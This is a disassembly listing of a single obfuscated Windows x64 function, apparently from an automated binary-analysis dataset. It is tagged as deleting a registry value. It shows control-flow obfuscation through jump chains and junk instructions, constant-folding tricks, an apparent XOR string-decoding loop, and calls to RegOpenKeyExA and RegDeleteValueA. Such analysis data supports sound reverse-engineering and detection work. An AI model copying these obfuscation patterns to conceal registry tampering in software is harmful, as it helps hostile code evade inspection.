Function at 0x140077d80
Capabilities:
Delete registry value

Disassembly:
mov rax, rsp
mov rcx, rcx
xchg rbp, rbx
mov qword [rax + 0x10], rbp
xchg rbp, rbx
xchg r11, rbp
mov qword [rax + 0x18], r11
jmp 0x1400780aa
mov dword [rsp - 0x18], 0x1dcd9ad
mov eax, 0x78672181
sub eax, 0x66c9d109
jmp 0x1400784f8
add r9, rax
nop dword [rax]
nop dword [rax + rax]
jmp 0x140077d9c
movdqa xmm0, xmm1
psrld xmm0, xmm8
mov dword [rsp - 0x14], 0x61fbe6c0
jmp 0x1400783f3
mov rdi, qword [rsp - 8]
nop
add rsp, 8
mov rsi, qword [rsp - 8]
ret
mov r14, r14
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
jmp 0x1400780bc
xchg rdi, rdi
mov rbx, qword [r11 + 0x28]
xchg r8, rbp
jmp 0x14007825f
movups xmm1, xmmword [0x1401154e0]
mov rdx, rdx
mov eax, dword [0x140115518]
xchg rsp, r8
movups xmmword [r8 + 0x30], xmm0
xchg rsp, r8
jmp 0x1400783a8
xchg r10, rax
movaps xmmword [r10 - 0x48], xmm8
xchg r10, rax
mov rax, qword [0x14024e2e0]
mov dword [rsp - 0x3c], edx
jmp 0x140078329
xor rcx, 0x530b8cf8
add rcx, 0xdadc21f
sub rcx, 0x17f5a744
jmp 0x140078131
xchg r12, r12
movzx eax, byte [0x1401154cc]
movsd qword [rsp + 0x70], xmm0
xchg rsp, r15
movups xmmword [r15 + 0x60], xmm1
xchg rsp, r15
jmp 0x140078084
mov rdx, rdx
imul ebx
sar edx, 2
sar edx, 1
sar edx, 1
mov eax, edx
jmp 0x140078464
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
mov dword [rsp - 0x44], esi
pand xmm2, xmmword [0x1401123b0]
packuswb xmm2, xmm2
jmp 0x14007861c
lea rdx, [rsp + 0x30]
mov dword [rsp - 0x3c], ebp
nop
movabs rcx, 0xffffffff18499513
xor rcx, 0x78e9bb7d
xor rcx, 0x1e6d3a93
jmp 0x140077e4a
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
mov rdi, rdi
jmp 0x140077e97
sub eax, 0x9184346
sub eax, 0x2c8a28ce
add eax, 0x11ff4631
sub eax, 0x2c45eb51
xor eax, 0x30452a8a
xor eax, 0x78402ebf
lea r8, [r8 + 2]
jmp 0x140077e84
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
xchg r13, r13
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
jmp 0x1400784c1
movdqa xmm1, xmm2
xchg r9, r9
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
xchg r12, r12
jmp 0x14007836f
xchg r11, rdi
movaps xmm7, xmmword [rdi - 0x20]
xchg rdi, r11
xchg r11, r8
movaps xmm8, xmmword [r8 - 0x30]
xchg r11, r8
xchg rbp, r11
jmp 0x1400783da
xchg r8, r8
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov rbx, rbx
jmp 0x140078275
lea eax, [rbx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
mov r12, r12
paddd xmm2, xmm5
sub ebx, 0xfffffff8
jmp 0x140077f35
xchg r10, r10
sar edx, 1
sar edx, 1
sar edx, 1
sar edx, 1
mov eax, edx
mov rcx, rcx
jmp 0x1400781fc
mov rcx, qword [rsp + 0x80]
xchg rdi, rdx
mov rdi, rdx
xchg rdi, rdx
jmp 0x140078041
jge 0x1400784e5
movsxd rax, r8d
lea r9, [rsp + 0x30]
mov rbp, rbp
jmp 0x140077db3
movd xmm6, ebp
movd xmm8, r14d
nop
mov dword [rsp - 0x24], 0x2a617043
movd xmm2, ebx
jmp 0x140077f89
xchg rcx, rdi
mov rcx, rdi
xchg rcx, rdi
mov eax, dword [0x1401154c8]
mov r8d, ebx
mov esi, dword [0x14024e2c0]
jmp 0x1400782cb
movq qword [rcx - 8], xmm3
cmp ebx, 0x20
mov r12, r12
jl 0x140077ff7
xchg rdi, rsp
movaps xmm9, xmmword [rdi + 0xa0]
xchg rsp, rdi
jmp 0x14007814a
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r9d, eax
mov r15, r15
test eax, 0xfffffffd
je 0x140078239
movups xmm0, xmmword [0x1401154d0]
jmp 0x140077e11
xchg rsp, r15
movaps xmmword [r15 + 0xa0], xmm9
xchg rsp, r15
movdqa xmm9, xmmword [0x1401123a0]
mov dword [rsp - 0x10], ecx
jmp 0x140077fe5
mov byte [rsp + 0x7c], al
xchg r10, r10
cmp esi, 2
jl 0x140077fd5
movdqa xmm0, xmmword [0x1401123d0]
lea rcx, [rsp + 0x34]
mov dword [rsp - 0x44], ebx
jmp 0x140078163
xchg r11, rbp
nop
sub rsp, 8
mov qword [rsp], rsi
push rbx
jmp 0x1400782ee
movd dword [rcx - 0xc], xmm2
mov dword [rsp - 0x24], edi
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
jmp 0x140077dc7
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp - 0xc], edi
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.1400e2980
lea r11, [rsp + 0xe0]
jmp 0x140077e02
movups xmm0, xmmword [0x1401154a0]
lea r14d, [rbx + 0x1f]
movups xmmword [rsp + 0x50], xmm0
jmp 0x1400785f7
mov dword [rsp - 0x34], edi
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
mov dword [rsp - 0x20], 0x44ffe8b8
psubd xmm2, xmm0
jmp 0x140077f19
sub rcx, 0x18c471ed
add rcx, 0x7545bf0e
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x14007834d
cmp ebx, 0x27
jge 0x140078224
movsxd rax, ebx
xchg r10, r10
lea r8, [rsp + 0x30]
jmp 0x14007840d
movdqa xmm5, xmmword [0x140112370]
movdqa xmm4, xmmword [0x140115f90]
movdqa xmm7, xmmword [str.1111]
mov r13, r13
xchg r12, rsp
jmp 0x1400781c9
movd xmm8, r14d
xchg rsp, rsp
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
mov dword [rsp - 0x44], 0x62d3228b
lea eax, [r8 + 4]
jmp 0x1400783c9
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
mov rdx, rdx
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x1400781e6
movdqa xmmword [r12 + 0x80], xmm0
xchg rsp, r12
mov edx, dword [rsp + 0x80]
movd xmm6, ebp
jmp 0x140078186
psrld xmm0, xmm8
paddd xmm0, xmm1
xchg rbx, rbx
pmulld xmm0, xmm7
jmp 0x140077ee1
shr eax, 0x19
shr eax, 5
shr eax, 1
add edx, eax
jmp 0x14007863e
movzx eax, bx
inc ebx
sub ax, cx
mov dword [rsp - 0x10], esp
sub ax, 0x116
add ax, 0x148
jmp 0x140078518
mov edx, r9d
lea rcx, [rsp + 0x30]
mov dword [rsp - 0x28], 0x50ec3645
call fcn.1400a6e50
mov rcx, qword [rsp + 0x80]
jmp 0x1400780d2
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov dword [rsp - 0xc], 0x5a3185d4
jmp 0x14007842b
mov r8, qword [r11 + 0x30]
xchg r8, rbp
xchg rbx, r11
movaps xmm6, xmmword [rbx - 0x10]
xchg rbx, r11
jmp 0x140077f55
paddd xmm3, xmm5
pmuldq xmm0, xmm4
nop
add r8d, 0xc63417
sub r8d, 0xc6340f
jmp 0x1400781b0
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
xchg r9, r9
paddd xmm2, xmm5
jmp 0x140078246
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
mov dword [rsp - 0x24], 0x7e38e039
jmp 0x140078292
mov dword [rsp - 0x14], 0x2c602cba
xchg r10, rsp
movups xmmword [r10 + 0x30], xmm0
xchg r10, rsp
lea ebp, [rbx + 4]
mov dword [rsp - 0xc], 0x37629037
jmp 0x1400780f9
mov qword [rsp], rdi
push r14
add rsp, 0x732a9943
sub rsp, 0x732a9a23
xchg rcx, rax
movaps xmmword [rcx - 0x28], xmm6
jmp 0x140078658
mov dword [rsp - 0x24], 0x1c733c56
sub al, cl
neg al
add al, 0xce
neg al
xor byte [r9 - 1], al
mov rbp, rbp
jmp 0x1400784db
xor rax, rsp
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [0x140115480]
xor ebx, ebx
mov dword [rsp - 0x40], edi
movups xmm1, xmmword [0x140115490]
jmp 0x140078000
test eax, eax
jne 0x1400780dc
xchg rcx, rcx
cmp qword [rdi + 0x18], 0x10
jb 0x140077fb9
mov rdi, qword [rdi]
mov dword [rsp - 0x10], esi
jmp 0x140077fb9
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
mov r10, r10
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
jmp 0x140078588
cmp r8d, 0x48
jl 0x14007819a
mov dword [rsp - 0x3c], ebx
cmp r8d, 0x4d
jmp 0x140077fcf
movups xmm0, xmmword [0x1401154f0]
xchg rdi, rsp
movups xmmword [rdi + 0x50], xmm0
xchg rsp, rdi
movsd xmm0, qword [0x140115510]
xchg rsp, r10
jmp 0x14007849f
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
mov r11, r11
jmp 0x14007844e
mov rsp, rbp
xchg rbp, r11
nop
mov r14, qword [rsp]
add rsp, 8
nop
add rsp, 8
jmp 0x140077ddd
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
mov r13, r13
jmp 0x140078561
lea r8, [r8 + rax*2]
nop dword [rax]
xchg rsp, rsp
nop word [rax + rax]
mov eax, 0x6b7b97dc
jmp 0x140077ef2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
mov dword [rsp - 0x30], esp
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
jmp 0x14007810e
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
jmp 0x140077f72
shr eax, 0x1d
shr eax, 1
shr eax, 1
add edx, eax
movzx eax, dx
mov r10, r10
imul ecx, eax, 0x31
jmp 0x14007820b
mov word [rsp + 0x7c], ax
cmp esi, 2
mov dword [rsp - 0x18], ebp
jl 0x140078153
movdqa xmm5, xmmword [0x140112370]
lea rcx, [rsp + 0x30]
jmp 0x14007852e
movups xmmword [r10 + 0x40], xmm1
xchg r10, rsp
movups xmm1, xmmword [0x140115500]
mov rbp, rbp
mov dword [rsp + 0x78], eax
movzx eax, word [0x14011551c]
jmp 0x14007854b
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
mov dword [rsp - 0x14], 0x67d3a5f4
pxor xmm3, xmm0
jmp 0x14007801d
cmp r8d, 0x4d
jl 0x140077da4
lea rax, [rsp + 0x80]
mov r9d, 0x7242f01b
jmp 0x1400785c7
xor eax, 0xee318e2
xor eax, 0x38814250
sub eax, 0x1060b5af
add eax, 0x3bf92d82
lea r9, [r9 + 1]
imul r8d
jmp 0x140077fa4
xor word [r8 - 2], ax
cmp ebx, 0x27
xchg r9, r9
jl 0x140078421
jmp 0x140078224
mov dword [rsp - 0x34], 0x22bafbbb
movdqa xmm4, xmmword [0x140115f90]
movdqa xmm7, xmmword [str.1111]
jmp 0x140078064
xchg r9, rsp
movsd qword [r9 + 0x70], xmm0
xchg r9, rsp
movups xmmword [rsp + 0x60], xmm1
jmp 0x14007847b
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
mov dword [rsp - 0x2c], 0x1277ee71
pand xmm2, xmmword [0x1401123b0]
packuswb xmm2, xmm2
jmp 0x1400785ac
mov dword [rsp - 0x20], esp
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
xchg rsi, rsi
pshufhw xmm1, xmm0, 0xd8
jmp 0x1400782b0
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
mov dword [rsp - 0x28], esp
pxor xmm2, xmm0
movd dword [rcx - 8], xmm2
jmp 0x140078391
sub r9d, 0x27561096
xor r9d, 0x4bf48391
add r9d, 0x2f60ce64
add r9d, 0x232504f1
xor r9d, 0x53912f56
xor r8d, r8d
mov qword [rsp + 0x20], rax
jmp 0x140077eba
movsd xmm0, qword [0x1401154c0]
mov r12, r12
xchg rbp, rsp
movups xmmword [rbp + 0x40], xmm1
xchg rsp, rbp
movups xmm1, xmmword [str._a_orPWCMK_nOYZ]
mov dword [rsp + 0x78], eax
jmp 0x140077e64
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
mov r13, r13
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
pxor xmm2, xmm0
jmp 0x140077ded
mov dword [rsp - 0x28], 0x44bb752c
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
inc r8d
jmp 0x14007830d
xchg rcx, rax
xchg rsi, rax
movaps xmmword [rsi - 0x38], xmm7
xchg rsi, rax
jmp 0x140077e31